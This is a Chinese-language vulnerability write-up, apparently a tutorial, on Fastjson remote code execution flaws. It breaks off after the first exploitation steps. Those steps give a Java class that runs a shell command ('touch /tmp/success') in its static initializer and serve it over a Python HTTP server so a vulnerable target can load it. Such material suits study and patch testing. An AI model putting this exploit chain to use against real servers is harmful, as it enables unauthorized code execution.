前言
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
目录
Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)
Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
漏洞详情
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
漏洞版本
fastjson <=1.2.24
漏洞分析
漏洞利用
1、访问存在漏洞的页面,得到json格式的数据。
2、创建TouchFile.java文件,内容如下:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
3、执行编译命令javac TouchFile.java,得到TouchFile.class文件。并将其通过python3 -m http.server命令放到外网环境中,默认监听端口8000。